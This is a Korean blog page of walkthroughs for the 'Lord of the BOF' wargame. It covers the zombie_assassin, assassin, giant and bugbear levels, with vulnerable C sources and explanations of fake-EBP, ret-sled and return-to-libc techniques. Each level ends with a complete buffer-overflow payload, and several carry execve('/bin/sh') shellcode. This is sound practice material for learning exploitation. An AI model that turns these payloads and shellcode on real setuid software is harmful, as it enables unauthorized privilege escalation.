2. 두번째 leave-ret이 수행된다.

mov esp ebp가 수행되면서 esp는 ebp(FakeEBP)가 있는 곳으로 이동한다.

pop ebp      esp값이 4증가한다


pop eip, jmp eip   으로 인해 원하는 주소로 점프할 수 있게 된다.




설명을 잘 못해서 저리 표현되었다. 

간단히 말하자면 ebp를 조작하여 leave-ret를 호출하여 leave를 통해 조작된 FakeEBP의 주소로 ESP를 이동시켜 거기서 esp를 기준으로 다시 ret하여 

공격자가 지정된 곳으로 흐름을 조종하는 것이다.


자 이제 공격해보자.



leave-ret 주소 : 0x80484df 




argv[1]의 주소도 찾았다.


DUMMY(4)+&shellcode+버퍼(32) + FakeEBP + leave-ret + shellcode 로 하고 FakeEBP+8인곳에 shellcode의 주소를 두자


Dummy와 &shellcode는 FakeEBP를 통해 esp가 이동하고 pop ebp, pop eip, jmp eip를 위해 넣었다.



payload : ./zombie_assassin `python -c 'print("AAAA"+"\x42\xf8\xff\xbf"+"A"*32+"\xf2\xf7\xff\xbf"+"\xdf\x84\x04\x08"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`


클리어!


'Wargame > LOB' 카테고리의 다른 글

[LOB] succubus -> nightmare  (0) 2018.04.03
[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02

[LOB] giant -> assassin

2018. 4. 2. 23:04
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/*
        The Lord of the BOF : The Fellowship of the BOF
        - assassin
        - no stack, no RTL
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }
 
        if(argv[1][47== '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
 
        // buffer+sfp hunter
        memset(buffer, 044);
}
 
cs


시작


스택이 배신하였고....  라이브러리마저 배신하였다. 게다가 buffer~sfp까지 프로그램이 종료되기전에 0으로 초기화된다.


즉 SFP조작 불가, 스택, 라이브러리 점프 불가이다.


그럼 어디로 점프할 수 있을까? 하고 보니... main영역안의 ret 명령 주소로로 점프하면 좋을듯하다.


ret의 동작은 pop eip, jmp eip 이므로... esp값을 4증가 시키고 pop한 주소로 이동하게 된다.


그러므로 여기서 main의 return_addr에 ret의 주소를 넣으면 esp를 한칸 위로 올리고 또 ret명령을 만나 eip를 pop해 그 주소로 점프하게 된다.

즉 main의 return_Addr+4의 위치로 점프하게 되므로... 여기에 있는 스택,라이브러리주소 점프 필터를 거를 수 있다.


이렇게 ret를 타고 이동한다해서 ret sled기법이라 불린다. 바로 시도해보자.



ret의 주소는 0x804851e 이다.


buffer와 sfp는 0으로 초기화되므로 그 쪽은 쓸 수 없고, argv[1]영역을 이용해도 좋긴하나, NOP이 많으면 편하므로 argv[2]를 활용하자


인자1 : buffer(44byte) + ret주소(4) + shellcode주소(4) 

인자2 : 쉘코드


./assassin `python -c 'print("A"*44+"\x1e\x85\x04\x08"+"\xbf\xbf\xbf\xbf")'` `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'



적당히 주소를 잡아 쉘코드주소로 쓰자



payload : ./assassin `python -c 'print("A"*44+"\x1e\x85\x04\x08"+"\x14\xf9\xff\xbf")'` `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`



클리어

'Wargame > LOB' 카테고리의 다른 글

[LOB] zombie_assassin -> succubus  (0) 2018.04.03
[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02

[LOB] bugbear -> giant

2018. 4. 2. 17:37
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
        The Lord of the BOF : The Fellowship of the BOF
        - giant
        - RTL2
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    FILE *fp;
    char *lib_addr, *execve_offset, *execve_addr;
    char *ret;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    // gain address of execve
    fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "(%x)"&lib_addr);
    fclose(fp);
 
    fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'""r");
    fgets(buffer, 255, fp);
    sscanf(buffer, "%x"&execve_offset);
    fclose(fp);
 
    execve_addr = lib_addr + (int)execve_offset;
    // end
 
    memcpy(&ret, &(argv[1][44]), 4);
    if(ret != execve_addr)
    {
        printf("You must use execve!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


시작


소스코드를 보니 ret를 execve의 주소로 하지않으면 exit하는 것을 볼 수있다.

execve의 주소를 쓰면 될 것 같다.



execve의 주소를 gdb를 통해 구했다.



그러나 주소값을 execve로 해주었는데도 안된다..

게다가 ldd가 /home/giant/assassin에 접근을 못해서 제대로된 execve값을 못구한것 같다.


왜 그런가했더니... tmp2폴더에 giant들을 복사해와 사용해서였다.


원본 파일을 실행해서 입력해보면 정상적으로 되는것을 볼 수있다. 

(왜냐하면 원본파일에는 setuid가 걸려있어 giant권한으로 giant폴더에 접근할 수 있다.)



참고로 \x0a의 값이 줄바꿈문자값(엔터)이라서 ``문을 한번 ""안에 넣어줘야한다. 안그러면 중간에 끓겨서 들어간다;


./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40")'`"


으어... execve를 이용해 쉘코드를 얻으면 좋겠지만,,, payload 구성이 귀찮아서

execve가 끝난 후 리턴되는 주소값을 쉘코드 주소값으로 하는게 더 쉬울 것같다.


그러나 원본 파일은 코어덤프를 못뜨고... gdb로 디버깅할 수 없으므로 복사된 파일로 일단 해야한다.



복사된 파일로 할 때는  /home/giant/assassin에 접근하지 못하기때문에 실제 execve 주소값과 비교하여 exit를 결정하는게 아니라 소스코드에서 구해진 execve_offset값이 비교된다.


일단 저 주소값을 ret에 넣고 argv[2]에 쉘코드를 넣어 코어덤프를 일으켰다.




0xbffff8a0 정도로 뛰어주면 될 것 같다.


A*44(buffer) + execve주소(main의ret) + 쉘코드주소(execve의ret) + 인자1(execve의) + 인자2


payload : ./giant "`python -c 'print("A"*44+"\x48\x9d\x0a\x40"+"\xa0\xf8\xff\xbf")'`" `python -c 'print("\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`




'Wargame > LOB' 카테고리의 다른 글

[LOB] assassin -> zombie_assassin  (0) 2018.04.02
[LOB] giant -> assassin  (0) 2018.04.02
[LOB] darkknight -> bugbear  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01

[LOB] darkknight -> bugbear

2018. 4. 2. 17:17
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47== '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}
 
cs


힌트는 RTL! 이다 Return To Library!


스택이 배신했다.. 라이브러리로 가자



system함수의 주소이다.



system함수의 주소로 부터 찾은 "/bin/sh" 문자열의 주소이다.



payload : ./bugbear `python -c 'print("A"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40")'`



성공





'Wargame > LOB' 카테고리의 다른 글

[LOB] giant -> assassin  (0) 2018.04.02
[LOB] bugbear -> giant  (0) 2018.04.02
[LOB] golem -> darkknight  (0) 2018.04.02
[LOB] skeleton -> golem  (0) 2018.04.01
[LOB] vampire -> skeleton  (0) 2018.04.01

+ Recent posts